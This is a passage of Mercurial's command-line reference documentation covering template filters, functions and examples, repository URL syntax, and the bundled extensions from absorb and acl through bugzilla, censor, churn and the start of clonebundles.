Any text. Returns the user portion of an email address.

escape
Any text. Replaces the special XML/XHTML characters “&”, “<” and “>” with XML entities, and filters out NUL characters.

fill68
Any text. Wraps the text to fit in 68 columns.

fill76
Any text. Wraps the text to fit in 76 columns.

firstline
Any text. Returns the first line of text.

hex
Any text. Convert a binary Mercurial node identifier into its long hexadecimal representation.

hgdate
Date. Returns the date as a pair of numbers: “1157407993 25200” (Unix timestamp, timezone offset).

isodate
Date. Returns the date in ISO 8601 format: “2009-08-18 13:00 +0200”.

isodatesec
Date. Returns the date in ISO 8601 format, including seconds: “2009-08-18 13:00:13 +0200”. See also the rfc3339date filter.

json
Any object. Serializes the object to a JSON formatted text.

lower
Any text. Converts the text to lowercase.

nonempty
Any text. Returns ‘(none)’ if the string is empty.

obfuscate
Any text. Returns the input text rendered as a sequence of XML entities.

person
Any text. Returns the name before an email address, interpreting it as per RFC 5322.

reverse
List. Reverses the order of list items.

revescape
Any text. Escapes all “special” characters, except @. Forward slashes are escaped twice to prevent web servers from prematurely unescaping them. For example, “@foo bar/baz” becomes “@foo%20bar%252Fbaz”.

rfc3339date
Date. Returns a date using the Internet date format specified in RFC 3339: “2009-08-18T13:00:13+02:00”.

rfc822date
Date. Returns a date using the same format used in email headers: “Tue, 18 Aug 2009 13:00:13 +0200”.

short
Changeset hash. Returns the short form of a changeset hash, i.e. a 12 hexadecimal digit string.

shortbisect
Any text. Treats label as a bisection status, and returns a single-character representing the status (G: good, B: bad, S: skipped, U: untested, I: ignored). Returns single space if text is not a valid bisection status.

shortdate
Date. Returns a date like “2006-09-18”.

slashpath
Any text. Replaces the native path separator with slash.

splitlines
Any text. Split text into a list of lines.

stringify
Any type. Turns the value into text by converting values into text and concatenating them.

stripdir
Treat the text as path and strip a directory level, if possible. For example, “foo” and “foo/bar” becomes “foo”.

tabindent
Any text. Returns the text, with every non-empty line except the first starting with a tab character.

upper
Any text. Converts the text to uppercase.

urlescape
Any text. Escapes all “special” characters. For example, “foo bar” becomes “foo%20bar”.

user
Any text. Returns a short representation of a user name or email address.

utf8
Any text. Converts from the local character encoding to UTF-8.

Note that a filter is nothing more than a function call, i.e. expr|filter is equivalent to filter(expr).

Functions

In addition to filters, there are some basic built-in functions:

config(section, name[, default])
Returns the requested hgrc config option as a string.

configbool(section, name[, default])
Returns the requested hgrc config option as a boolean.

configint(section, name[, default])
Returns the requested hgrc config option as an integer.

date(date[, fmt])
Format a date. The format string uses the Python strftime format. The default is a Unix date format, including the timezone: “Mon Sep 04 15:13:13 2006 0700”.

dict([[key=]value…])
Construct a dict from key-value pairs. A key may be omitted if a value expression can provide an unambiguous name.

diff([includepattern [, excludepattern]])
Show a diff, optionally specifying files to include or exclude.

files(pattern)
All files of the current changeset matching the pattern. See hg help patterns.

fill(text[, width[, initialident[, hangindent]]])
Fill many paragraphs with optional indentation. See the “fill” filter.

filter(iterable[, expr])
Remove empty elements from a list or a dict. If expr specified, it’s applied to each element to test emptiness.

get(dict, key)
Get an attribute/key from an object. Some keywords are complex types. This function allows you to obtain the value of an attribute on these types.

if(expr, then[, else])
Conditionally execute based on the result of an expression.

ifcontains(needle, haystack, then[, else])
Conditionally execute based on whether the item “needle” is in “haystack”.

ifeq(expr1, expr2, then[, else])
Conditionally execute based on whether 2 items are equivalent.

indent(text, indentchars[, firstline])
Indents all non-empty lines with the characters given in the indentchars string. An optional third parameter will override the indent for the first line only if present.

join(list, sep)
Join items in a list with a delimiter.

label(label, expr)
Apply a label to generated content. Content with a label applied can result in additional post-processing, such as automatic colorization. In order to receive effects, labels must have a dot, such as log.secret or branch.active.

latesttag([pattern])
The global tags matching the given pattern on the most recent globally tagged ancestor of this changeset. If no such tags exist, the “{tag}” template resolves to the string “null”. See hg help revisions.patterns for the pattern syntax.

localdate(date[, tz])
Converts a date to the specified timezone. The default is local date.

mailmap(author)
Return the author, updated according to the value set in the .mailmap file

max(iterable)
Return the max of an iterable

min(iterable)
Return the min of an iterable

mod(a, b)
Calculate a mod b such that a / b + a mod b == a

pad(text, width[, fillchar=’ ‘[, left=False[, truncate=False]]])
Pad text with a fill character.

relpath(path)
Convert a repository-absolute path into a filesystem path relative to the current working directory.

revset(query[, formatargs…])
Execute a revision set query. See hg help revset.

rstdoc(text, style)
Format reStructuredText.

search(pattern, text)
Look for the first text matching the regular expression pattern. Groups are accessible as {1}, {2}, … in %-mapped template.

separate(sep, args…)
Add a separator between non-empty arguments.

shortest(node, minlength=4)
Obtain the shortest representation of a node.

startswith(pattern, text)
Returns the value from the “text” argument if it begins with the content from the “pattern” argument.

strip(text[, chars])
Strip characters from a string. By default, strips all leading and trailing whitespace.

sub(pattern, replacement, expression)
Perform text substitution using regular expressions.

subsetparents(rev, revset)
Look up parents of the rev in the sub graph given by the revset.

word(number, text[, separator])
Return the nth word from a string.

Operators

We provide a limited set of infix arithmetic operations on integers:

+ for addition
- for subtraction
* for multiplication
/ for floor division (division rounded to integer nearest -infinity)

Division fulfills the law x = x / y + mod(x, y).

Also, for any expression that returns a list, there is a list operator:

expr % "{template}"

As seen in the above example, {template} is interpreted as a template. To prevent it from being interpreted, you can use an escape character ** or a raw string prefix, r’…’.

The dot operator can be used as a shorthand for accessing a sub item:

  • expr.member is roughly equivalent to expr % ‘{member}’ if expr returns a non-list/dict. The returned value is not stringified.

  • dict.key is identical to get(dict, ‘key’).

Aliases

New keywords and functions can be defined in the templatealias section of a Mercurial configuration file:

<alias> = <definition>

Arguments of the form a1, a2, etc. are substituted from the alias into the definition.

For example,

[templatealias]
r = rev
rn = "{r}:{node|short}"
leftpad(s, w) = pad(s, w, ' ', True)

defines two symbol aliases, r and rn, and a function alias leftpad().

It’s also possible to specify complete template strings, using the templates section. The syntax used is the general template string syntax.

For example,

[templates]
nodedate = "{node|short}: {date(date, "%Y-%m-%d")}

"

defines a template, nodedate, which can be called like:

$ hg log -r . -Tnodedate

A template defined in templates section can also be referenced from another template:

$ hg log -r . -T "{rev} {nodedate}"

but be aware that the keywords cannot be overridden by templates. For example, a template defined as templates.rev cannot be referenced as {rev}.

A template defined in templates section may have sub templates which are inserted before/after/between items:

[templates]
myjson = ' {dict(rev, node|short)|json}'
myjson:docheader = '\{

' myjson:docfooter = ' } ' myjson:separator = ‘, '

Examples

Some sample command line templates:

  • Format lists, e.g. files:
$ hg log -r 0 --template "files:

{files % ’ {file} ‘}"

  • Join the list of files with a “, “:
$ hg log -r 0 --template "files: {join(files, ', ')}

"

  • Join the list of files ending with “.py” with a “, “:
$ hg log -r 0 --template "pythonfiles: {join(files('**.py'), ', ')}

"

  • Separate non-empty arguments by a " “:
$ hg log -r 0 --template "{separate(' ', node, bookmarks, tags}

"

  • Modify each line of a commit description:
$ hg log --template "{splitlines(desc) % '**** {line}

‘}”

  • Format date:
$ hg log -r 0 --template "{date(date, '%Y')}

"

  • Display date in UTC:
$ hg log -r 0 --template "{localdate(date, 'UTC')|date}

"

  • Output the description set to a fill-width of 30:
$ hg log -r 0 --template "{fill(desc, 30)}"
  • Use a conditional to test for the default branch:
$ hg log -r 0 --template "{ifeq(branch, 'default', 'on the main branch',
'on branch {branch}')}

"

  • Append a newline if not empty:
$ hg tip --template "{if(author, '{author}

‘)}”

  • Label the output for use with the color extension:
$ hg log -r 0 --template "{label('changeset.{phase}', node|short)}

"

  • Invert the firstline filter, i.e. everything but the first line:
$ hg log -r 0 --template "{sub(r'^.*

? ?’, ‘’, desc)} "

  • Display the contents of the ’extra’ field, one per line:
$ hg log -r 0 --template "{join(extras, '

‘)} "

  • Mark the active bookmark with ‘*’:
$ hg log --template "{bookmarks % '{bookmark}{ifeq(bookmark, active, '*')} '}

"

  • Find the previous release candidate tag, the distance and changes since the tag:
$ hg log -r . --template "{latesttag('re:^.*-rc$') % '{tag}, {changes}, {distance}'}

"

  • Mark the working copy parent with ‘@’:
$ hg log --template "{ifcontains(rev, revset('.'), '@')}

"

  • Show details of parent revisions:
$ hg log --template "{revset('parents(%d)', rev) % '{desc|firstline}

‘}”

  • Show only commit descriptions that start with “template”:
$ hg log --template "{startswith('template', firstline(desc))}

"

  • Print the first word of each line of a commit message:
$ hg log --template "{word(0, desc)}

"

URL PATHS

Valid URLs are of the form:

local/filesystem/path[#revision]
file://local/filesystem/path[#revision]
http://[user[:pass]@]host[:port]/[path][#revision]
https://[user[:pass]@]host[:port]/[path][#revision]
ssh://[user@]host[:port]/[path][#revision]
path://pathname

Paths in the local filesystem can either point to Mercurial repositories or to bundle files (as created by hg bundle or hg incoming –bundle). See also hg help paths.

An optional identifier after # indicates a particular branch, tag, or changeset to use from the remote repository. See also hg help revisions.

Some features, such as pushing to http:// and https:// URLs are only possible if the feature is explicitly enabled on the remote Mercurial server.

Note that the security of HTTPS URLs depends on proper configuration of web.cacerts.

Some notes about using SSH with Mercurial:

  • SSH requires an accessible shell account on the destination machine and a copy of hg in the remote path or specified with remotecmd.

  • path is relative to the remote user’s home directory by default. Use an extra slash at the start of a path to specify an absolute path:

ssh://example.com//tmp/repository
  • Mercurial doesn’t use its own compression via SSH; the right thing to do is to configure it in your ~/.ssh/config, e.g.:
Host *.mylocalnetwork.example.com
  Compression no
Host *
  Compression yes

Alternatively specify “ssh -C” as your ssh command in your configuration file or with the –ssh command line option.

These URLs can all be stored in your configuration file with path aliases under the [paths] section like so:

[paths]
alias1 = URL1
alias2 = URL2
...

You can then use the alias for any command that uses a URL (for example hg pull alias1 will be treated as hg pull URL1).

Two path aliases are special because they are used as defaults when you do not provide the URL to a command:

default:
When you create a repository with hg clone, the clone command saves the location of the source repository as the new repository’s ‘default’ path. This is then used when you omit path from push- and pull-like commands (including incoming and outgoing).

default-push:
The push command will look for a path named ‘default-push’, and prefer it over ‘default’ if both are defined.

These alias can also be use in the path:// scheme:

[paths]
alias1 = URL1
alias2 = path://alias1
...

check hg help config.paths for details about the behavior of such “sub-path”.

EXTENSIONS

This section contains help for extensions that are distributed together with Mercurial. Help for other extensions is available in the help system.

absorb

apply working directory changes to changesets (EXPERIMENTAL)

The absorb extension provides a command to use annotate information to amend modified chunks into the corresponding non-public changesets.

[absorb]
# only check 50 recent non-public changesets at most
max-stack-size = 50
# whether to add noise to new commits to avoid obsolescence cycle
add-noise = 1
# make `amend --correlated` a shortcut to the main command
amend-flag = correlated

[color]
absorb.description = yellow
absorb.node = blue bold
absorb.path = bold

Commands

Change creation

absorb

incorporate corrections into the stack of draft changesets:

hg absorb [OPTION] [FILE]...

absorb analyzes each change in your working directory and attempts to amend the changed lines into the changesets in your stack that first introduced those lines.

If absorb cannot find an unambiguous changeset to amend for a change, that change will be left in the working directory, untouched. They can be observed by hg status or hg diff afterwards. In other words, absorb does not write to the working directory.

Changesets outside the revset ::. and not public() and not merge() will not be changed.

Changesets that become empty after applying the changes will be deleted.

By default, absorb will show what it plans to do and prompt for confirmation. If you are confident that the changes will be absorbed to the correct place, run hg absorb -a to apply the changes immediately.

Returns 0 on success, 1 if all chunks were ignored and nothing amended.

Options:

-a, –apply-changes
apply changes without prompting for confirmation

-p, –print-changes
always print which changesets are modified by which changes

-i, –interactive
interactively select which chunks to apply

-e, –edit-lines
edit what lines belong to which changesets before commit (EXPERIMENTAL)

-n, –dry-run
do not perform actions, just print output

–style* <STYLE>*
display using template map file (DEPRECATED)

-T,–template** <TEMPLATE>**
display with template

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

acl

hooks for controlling repository access

This hook makes it possible to allow or deny write access to given branches and paths of a repository when receiving incoming changesets via pretxnchangegroup and pretxncommit.

The authorization is matched based on the local user name on the system where the hook runs, and not the committer of the original changeset (since the latter is merely informative).

The acl hook is best used along with a restricted shell like hgsh, preventing authenticating users from doing anything other than pushing or pulling. The hook is not safe to use if users have interactive shell access, as they can then disable the hook. Nor is it safe if remote users share an account, because then there is no way to distinguish them.

The order in which access checks are performed is:

  1. Deny list for branches (section acl.deny.branches)

  2. Allow list for branches (section acl.allow.branches)

  3. Deny list for paths (section acl.deny)

  4. Allow list for paths (section acl.allow)

The allow and deny sections take key-value pairs.

Branch-based Access Control

Use the acl.deny.branches and acl.allow.branches sections to have branch-based access control. Keys in these sections can be either:

  • a branch name, or

  • an asterisk, to match any branch;

The corresponding values can be either:

  • a comma-separated list containing users and groups, or

  • an asterisk, to match anyone;

You can add the “!” prefix to a user or group name to invert the sense of the match.

Path-based Access Control

Use the acl.deny and acl.allow sections to have path-based access control. Keys in these sections accept a subtree pattern (with a glob syntax by default). The corresponding values follow the same syntax as the other sections above.

Bookmark-based Access Control

Use the acl.deny.bookmarks and acl.allow.bookmarks sections to have bookmark-based access control. Keys in these sections can be either:

  • a bookmark name, or

  • an asterisk, to match any bookmark;

The corresponding values can be either:

  • a comma-separated list containing users and groups, or

  • an asterisk, to match anyone;

You can add the “!” prefix to a user or group name to invert the sense of the match.

Note: for interactions between clients and servers using Mercurial 3.6+ a rejection will generally reject the entire push, for interactions involving older clients, the commit transactions will already be accepted, and only the bookmark movement will be rejected.

Groups

Group names must be prefixed with an @ symbol. Specifying a group name has the same effect as specifying all the users in that group.

You can define group members in the acl.groups section. If a group name is not defined there, and Mercurial is running under a Unix-like system, the list of users will be taken from the OS. Otherwise, an exception will be raised.

Example Configuration

[hooks]

# Use this if you want to check access restrictions at commit time
pretxncommit.acl = python:hgext.acl.hook

# Use this if you want to check access restrictions for pull, push,
# bundle and serve.
pretxnchangegroup.acl = python:hgext.acl.hook

[acl]
# Allow or deny access for incoming changes only if their source is
# listed here, let them pass otherwise. Source is "serve" for all
# remote access (http or ssh), "push", "pull" or "bundle" when the
# related commands are run locally.
# Default: serve
sources = serve

[acl.deny.branches]

# Everyone is denied to the frozen branch:
frozen-branch = *

# A bad user is denied on all branches:
* = bad-user

[acl.allow.branches]

# A few users are allowed on branch-a:
branch-a = user-1, user-2, user-3

# Only one user is allowed on branch-b:
branch-b = user-1

# The super user is allowed on any branch:
* = super-user

# Everyone is allowed on branch-for-tests:
branch-for-tests = *

[acl.deny]
# This list is checked first. If a match is found, acl.allow is not
# checked. All users are granted access if acl.deny is not present.
# Format for both lists: glob pattern = user, ..., @group, ...

# To match everyone, use an asterisk for the user:
# my/glob/pattern = *

# user6 will not have write access to any file:
** = user6

# Group "hg-denied" will not have write access to any file:
** = @hg-denied

# Nobody will be able to change "DONT-TOUCH-THIS.txt", despite
# everyone being able to change all other files. See below.
src/main/resources/DONT-TOUCH-THIS.txt = *

[acl.allow]
# if acl.allow is not present, all users are allowed by default
# empty acl.allow = no users allowed

# User "doc_writer" has write access to any file under the "docs"
# folder:
docs/** = doc_writer

# User "jack" and group "designers" have write access to any file
# under the "images" folder:
images/** = jack, @designers

# Everyone (except for "user6" and "@hg-denied" - see acl.deny above)
# will have write access to any file under the "resources" folder
# (except for 1 file. See acl.deny):
src/main/resources/** = *

.hgtags = release_engineer

Examples using the ! prefix

Suppose there’s a branch that only a given user (or group) should be able to push to, and you don’t want to restrict access to any other branch that may be created.

The “!” prefix allows you to prevent anyone except a given user or group to push changesets in a given branch or path.

In the examples below, we will: 1) Deny access to branch “ring” to anyone but user “gollum” 2) Deny access to branch “lake” to anyone but members of the group “hobbit” 3) Deny access to a file to anyone but user “gollum”

[acl.allow.branches]
# Empty

[acl.deny.branches]

# 1) only 'gollum' can commit to branch 'ring';
# 'gollum' and anyone else can still commit to any other branch.
ring = !gollum

# 2) only members of the group 'hobbit' can commit to branch 'lake';
# 'hobbit' members and anyone else can still commit to any other branch.
lake = !@hobbit

# You can also deny access based on file paths:

[acl.allow]
# Empty

[acl.deny]
# 3) only 'gollum' can change the file below;
# 'gollum' and anyone else can still change any other file.
/misty/mountains/cave/ring = !gollum

amend

provide the amend command (EXPERIMENTAL)

This extension provides an amend command that is similar to commit –amend but does not prompt an editor.

Commands

Change creation

amend

amend the working copy parent with all or specified outstanding changes:

hg amend [OPTION]... [FILE]...

Similar to hg commit –amend, but reuse the commit message without invoking editor, unless –edit was set.

See hg help commit for more details.

Options:

-A, –addremove
mark new/missing files as added/removed before committing

-e, –edit
invoke editor on commit messages

-i, –interactive
use interactive mode

–close-branch
mark a branch as closed, hiding it from the branch list

-s, –secret
use the secret phase for committing

–draft
use the draft phase for committing

-n,–note** <VALUE>**
store a note on the amend

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-m,–message** <TEXT>**
use text as commit message

-l,–logfile** <FILE>**
read commit message from file

-d,–date** <DATE>**
record the specified date as commit date

-u,–user** <USER>**
record the specified user as committer

-D, –currentdate
record the current date as commit date

-U, –currentuser
record the current user as committer

[+] marked option can be specified multiple times

automv

check for unrecorded moves at commit time (EXPERIMENTAL)

This extension checks at commit/amend time if any of the committed files comes from an unrecorded mv.

The threshold at which a file is considered a move can be set with the automv.similarity config option. This option takes a percentage between 0 (disabled) and 100 (files must be identical), the default is 95.

beautifygraph

beautify log -G output by using Unicode characters (EXPERIMENTAL)

A terminal with UTF-8 support and monospace narrow text are required.

blackbox

log repository events to a blackbox for debugging

Logs event information to .hg/blackbox.log to help debug and diagnose problems. The events that get logged can be configured via the blackbox.track and blackbox.ignore config keys.

Examples:

[blackbox]
track = *
ignore = pythonhook
# dirty is *EXPENSIVE* (slow);
# each log entry indicates `+` if the repository is dirty, like :hg:`id`.
dirty = True
# record the source of log messages
logsource = True

[blackbox]
track = command, commandfinish, commandexception, exthook, pythonhook

[blackbox]
track = incoming

[blackbox]
# limit the size of a log file
maxsize = 1.5 MB
# rotate up to N log files when the current one gets too big
maxfiles = 3

[blackbox]
# Include microseconds in log entries with %f (see Python function
# datetime.datetime.strftime)
date-format = %Y-%m-%d @ %H:%M:%S.%f

Commands

Repository maintenance

blackbox

view the recent repository events:

hg blackbox [OPTION]...

view the recent repository events

Options:

-l,–limit** <VALUE>**
the number of events to show (default: 10)

bookflow

implements bookmark-based branching (EXPERIMENTAL)

  • Disables creation of new branches (config: enable_branches=False).

  • Requires an active bookmark on commit (config: require_bookmark=True).

  • Doesn’t move the active bookmark on update, only on commit.

  • Requires ‘–rev’ for moving an existing bookmark.

  • Protects special bookmarks (config: protect=@).

flow related commands

hg book NAME
create a new bookmark

hg book NAME -r REV
move bookmark to revision (fast-forward)

hg up|co NAME
switch to bookmark

hg push -B .
push active bookmark

bugzilla

hooks for integrating with the Bugzilla bug tracker

This hook extension adds comments on bugs in Bugzilla when changesets that refer to bugs by Bugzilla ID are seen. The comment is formatted using the Mercurial template mechanism.

The bug references can optionally include an update for Bugzilla of the hours spent working on the bug. Bugs can also be marked fixed.

Four basic modes of access to Bugzilla are provided:

  1. Access via the Bugzilla REST-API. Requires bugzilla 5.0 or later.

  2. Access via the Bugzilla XMLRPC interface. Requires Bugzilla 3.4 or later.

  3. Check data via the Bugzilla XMLRPC interface and submit bug change via email to Bugzilla email interface. Requires Bugzilla 3.4 or later.

  4. Writing directly to the Bugzilla database. Only Bugzilla installations using MySQL are supported. Requires Python MySQLdb.

Writing directly to the database is susceptible to schema changes, and relies on a Bugzilla contrib script to send out bug change notification emails. This script runs as the user running Mercurial, must be run on the host with the Bugzilla install, and requires permission to read Bugzilla configuration details and the necessary MySQL user and password to have full access rights to the Bugzilla database. For these reasons this access mode is now considered deprecated, and will not be updated for new Bugzilla versions going forward. Only adding comments is supported in this access mode.

Access via XMLRPC needs a Bugzilla username and password to be specified in the configuration. Comments are added under that username. Since the configuration must be readable by all Mercurial users, it is recommended that the rights of that user are restricted in Bugzilla to the minimum necessary to add comments. Marking bugs fixed requires Bugzilla 4.0 and later.

Access via XMLRPC/email uses XMLRPC to query Bugzilla, but sends email to the Bugzilla email interface to submit comments to bugs. The From: address in the email is set to the email address of the Mercurial user, so the comment appears to come from the Mercurial user. In the event that the Mercurial user email is not recognized by Bugzilla as a Bugzilla user, the email associated with the Bugzilla username used to log into Bugzilla is used instead as the source of the comment. Marking bugs fixed works on all supported Bugzilla versions.

Access via the REST-API needs either a Bugzilla username and password or an apikey specified in the configuration. Comments are made under the given username or the user associated with the apikey in Bugzilla.

Configuration items common to all access modes:

bugzilla.version
The access type to use. Values recognized are:

restapi
Bugzilla REST-API, Bugzilla 5.0 and later.

xmlrpc
Bugzilla XMLRPC interface.

xmlrpc+email
Bugzilla XMLRPC and email interfaces.

3.0
MySQL access, Bugzilla 3.0 and later.

2.18
MySQL access, Bugzilla 2.18 and up to but not including 3.0.

2.16
MySQL access, Bugzilla 2.16 and up to but not including 2.18.

bugzilla.regexp
Regular expression to match bug IDs for update in changeset commit message. It must contain one “()” named group <ids> containing the bug IDs separated by non-digit characters. It may also contain a named group <hours> with a floating-point number giving the hours worked on the bug. If no named groups are present, the first “()” group is assumed to contain the bug IDs, and work time is not updated. The default expression matches Bug 1234, Bug no. 1234, Bug number 1234, Bugs 1234,5678, Bug 1234 and 5678 and variations thereof, followed by an hours number prefixed by h or hours, e.g. hours 1.5. Matching is case insensitive.

bugzilla.fixregexp
Regular expression to match bug IDs for marking fixed in changeset commit message. This must contain a “()” named group <ids>` containing the bug IDs separated by non-digit characters. It may also contain a named group ``<hours> with a floating-point number giving the hours worked on the bug. If no named groups are present, the first “()” group is assumed to contain the bug IDs, and work time is not updated. The default expression matches Fixes 1234, Fixes bug 1234, Fixes bugs 1234,5678, Fixes 1234 and 5678 and variations thereof, followed by an hours number prefixed by h or hours, e.g. hours 1.5. Matching is case insensitive.

bugzilla.fixstatus
The status to set a bug to when marking fixed. Default RESOLVED.

bugzilla.fixresolution
The resolution to set a bug to when marking fixed. Default FIXED.

bugzilla.style
The style file to use when formatting comments.

bugzilla.template
Template to use when formatting comments. Overrides style if specified. In addition to the usual Mercurial keywords, the extension specifies:

{bug}
The Bugzilla bug ID.

{root}
The full pathname of the Mercurial repository.

{webroot}
Stripped pathname of the Mercurial repository.

{hgweb}
Base URL for browsing Mercurial repositories.

Default changeset {node|short} in repo {root} refers to bug {bug}. details: {desc|tabindent}

bugzilla.strip
The number of path separator characters to strip from the front of the Mercurial repository path ({root} in templates) to produce {webroot}. For example, a repository with {root} /var/local/my-project with a strip of 2 gives a value for {webroot} of my-project. Default 0.

web.baseurl
Base URL for browsing Mercurial repositories. Referenced from templates as {hgweb}.

Configuration items common to XMLRPC+email and MySQL access modes:

bugzilla.usermap
Path of file containing Mercurial committer email to Bugzilla user email mappings. If specified, the file should contain one mapping per line:

committer = Bugzilla user

See also the [usermap] section.

The [usermap] section is used to specify mappings of Mercurial committer email to Bugzilla user email. See also bugzilla.usermap. Contains entries of the form committer = Bugzilla user.

XMLRPC and REST-API access mode configuration:

bugzilla.bzurl
The base URL for the Bugzilla installation. Default http://localhost/bugzilla.

bugzilla.user
The username to use to log into Bugzilla via XMLRPC. Default bugs.

bugzilla.password
The password for Bugzilla login.

REST-API access mode uses the options listed above as well as:

bugzilla.apikey
An apikey generated on the Bugzilla instance for api access. Using an apikey removes the need to store the user and password options.

XMLRPC+email access mode uses the XMLRPC access mode configuration items, and also:

bugzilla.bzemail
The Bugzilla email address.

In addition, the Mercurial email settings must be configured. See the documentation in hgrc(5), sections [email] and [smtp].

MySQL access mode configuration:

bugzilla.host
Hostname of the MySQL server holding the Bugzilla database. Default localhost.

bugzilla.db
Name of the Bugzilla database in MySQL. Default bugs.

bugzilla.user
Username to use to access MySQL server. Default bugs.

bugzilla.password
Password to use to access MySQL server.

bugzilla.timeout
Database connection timeout (seconds). Default 5.

bugzilla.bzuser
Fallback Bugzilla user name to record comments with, if changeset committer cannot be found as a Bugzilla user.

bugzilla.bzdir
Bugzilla install directory. Used by default notify. Default /var/www/html/bugzilla.

bugzilla.notify
The command to run to get Bugzilla to send bug change notification emails. Substitutes from a map with 3 keys, bzdir, id (bug id) and user (committer bugzilla email). Default depends on version; from 2.18 it is “cd %(bzdir)s && perl -T contrib/sendbugmail.pl %(id)s %(user)s”.

Activating the extension:

[extensions]
bugzilla =

[hooks]
# run bugzilla hook on every change pulled or pushed in here
incoming.bugzilla = python:hgext.bugzilla.hook

Example configurations:

XMLRPC example configuration. This uses the Bugzilla at http://my-project.org/bugzilla, logging in as user [email protected] with password plugh. It is used with a collection of Mercurial repositories in /var/local/hg/repos/, with a web interface at http://my-project.org/hg.

[bugzilla]
bzurl=http://my-project.org/bugzilla
[email protected]
password=plugh
version=xmlrpc
template=Changeset {node|short} in {root|basename}.
         {hgweb}/{webroot}/rev/{node|short}

         {desc}

strip=5

[web]
baseurl=http://my-project.org/hg

XMLRPC+email example configuration. This uses the Bugzilla at http://my-project.org/bugzilla, logging in as user [email protected] with password plugh. It is used with a collection of Mercurial repositories in /var/local/hg/repos/, with a web interface at http://my-project.org/hg. Bug comments are sent to the Bugzilla email address [email protected].

[bugzilla]
bzurl=http://my-project.org/bugzilla
[email protected]
password=plugh
version=xmlrpc+email
[email protected]
template=Changeset {node|short} in {root|basename}.
         {hgweb}/{webroot}/rev/{node|short}

         {desc}

strip=5

[web]
baseurl=http://my-project.org/hg

[usermap]
[email protected][email protected]

MySQL example configuration. This has a local Bugzilla 3.2 installation in /opt/bugzilla-3.2. The MySQL database is on localhost, the Bugzilla database name is bugs and MySQL is accessed with MySQL username bugs password XYZZY. It is used with a collection of Mercurial repositories in /var/local/hg/repos/, with a web interface at http://my-project.org/hg.

[bugzilla]
host=localhost
password=XYZZY
version=3.0
[email protected]
bzdir=/opt/bugzilla-3.2
template=Changeset {node|short} in {root|basename}.
         {hgweb}/{webroot}/rev/{node|short}

         {desc}

strip=5

[web]
baseurl=http://my-project.org/hg

[usermap]
[email protected][email protected]

All the above add a comment to the Bugzilla bug record of the form:

Changeset 3b16791d6642 in repository-name.
http://my-project.org/hg/repository-name/rev/3b16791d6642

Changeset commit comment. Bug 1234.

censor

erase file content at a given revision

The censor command instructs Mercurial to erase all content of a file at a given revision without updating the changeset hash. This allows existing history to remain valid while preventing future clones/pulls from receiving the erased data.

Typical uses for censor are due to security or legal requirements, including:

* Passwords, private keys, cryptographic material
* Licensed data/code/libraries for which the license has expired
* Personally Identifiable Information or other private data

Censored nodes can interrupt mercurial’s typical operation whenever the excised data needs to be materialized. Some commands, like hg cat/hg revert, simply fail when asked to produce censored data. Others, like hg verify and hg update, must be capable of tolerating censored data to continue to function in a meaningful way. Such commands only tolerate censored file As having a censored version in a checkout is impractical. The current head revisions of the repository are checked. If the revision to be censored is in any of them the command will abort.

A few informative commands such as hg grep will unconditionally ignore censored data and merely report that it was encountered.

Commands

Repository maintenance

censor

hg censor -r REV [-t TEXT] [FILE]

Options:

-r,–rev** <REV[+]>**
censor file from specified revision

–check-heads
check that repository heads are not affected (default: True)

-t,–tombstone** <TEXT>**
replacement tombstone data

[+] marked option can be specified multiple times

children

command to display child changesets (DEPRECATED)

This extension is deprecated. You should use hg log -r “children(REV)” instead.

Commands

Change navigation

children

show the children of the given or working directory revision:

hg children [-r REV] [FILE]

Print the children of the working directory’s revisions. If a revision is given via -r/–rev, the children of that revision will be printed. If a file argument is given, revision in which the file was last changed (after the working directory revision or the argument to –rev if given) is printed.

Please use hg log instead:

hg children => hg log -r "children(.)"
hg children -r REV => hg log -r "children(REV)"

See hg help log and hg help revsets.children.

Options:

-r,–rev** <REV>**
show children of the specified revision (default: .)

–style* <STYLE>*
display using template map file (DEPRECATED)

-T,–template** <TEMPLATE>**
display with template

churn

command to display statistics about repository history

Commands

Repository maintenance

churn

histogram of changes to the repository:

hg churn [-d DATE] [-r REV] [--aliases FILE] [FILE]

This command will display a histogram representing the number of changed lines or revisions, grouped according to the given template. The default template will group changes by author. The –dateformat option may be used to group the results by date instead.

Statistics are based on the number of changed lines, or alternatively the number of matching revisions if the –changesets option is specified.

Examples:

# display count of changed lines for every committer
hg churn -T "{author|email}"

# display daily activity graph
hg churn -f "%H" -s -c

# display activity of developers by month
hg churn -f "%Y-%m" -s -c

# display count of lines changed in every year
hg churn -f "%Y" -s

# display count of lines changed in a time range
hg churn -d "2020-04 to 2020-09"

It is possible to map alternate email addresses to a main address by providing a file using the following format:

<alias email> = <actual email>

Such a file may be specified with the –aliases option, otherwise a .hgchurn file will be looked for in the working directory root. Aliases will be split from the rightmost “=”.

Options:

-r,–rev** <REV[+]>**
count rate for the specified revision or revset

-d,–date** <DATE>**
count rate for revisions matching date spec

-t,–oldtemplate** <TEMPLATE>**
template to group changesets (DEPRECATED)

-T,–template** <TEMPLATE>**
template to group changesets (default: {author|email})

-f,–dateformat** <FORMAT>**
strftime-compatible format for grouping by date

-c, –changesets
count rate by number of changesets

-s, –sort
sort by key (default: sort by count)

–diffstat
display added/removed lines separately

–aliases* <FILE>*
file with email aliases

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

clonebundles

advertise pre-generated bundles to seed clones

“clonebundles” is a server-side extension used to advertise the existence of pre-generated, externally hosted bundle files to clients that are cloning so that cloning can be faster, more reliable, and require less resources on the server. “pullbundles” is a related feature for sending pre-generated bundle files to clients as part of pull operations.

Cloning can be a CPU and I/O intensive operation on servers. Traditionally, the server, in response to a client’s request to clone, dynamically generates a bundle containing the entire repository content and sends it to the client. There is no caching on the server and the server will have to redundantly generate the same outgoing bundle in response to each clone request. For servers with large repositories or with high clone volume, the load from clones can make scaling the server challenging and costly.

This extension provides server operators the ability to offload potentially expensive clone load to an external service. Pre-generated bundles also allow using more CPU intensive compression, reducing the effective bandwidth requirements.

Here’s how clone bundles work:

  1. A server operator establishes a mechanism for making bundle files available on a hosting service where Mercurial clients can fetch them.

  2. A manifest file listing available bundle URLs and some optional metadata is added to the Mercurial repository on the server.

  3. A client initiates a clone against a clone bundles aware server.

  4. The client sees the server is advertising clone bundles and fetches the manifest listing available bundles.

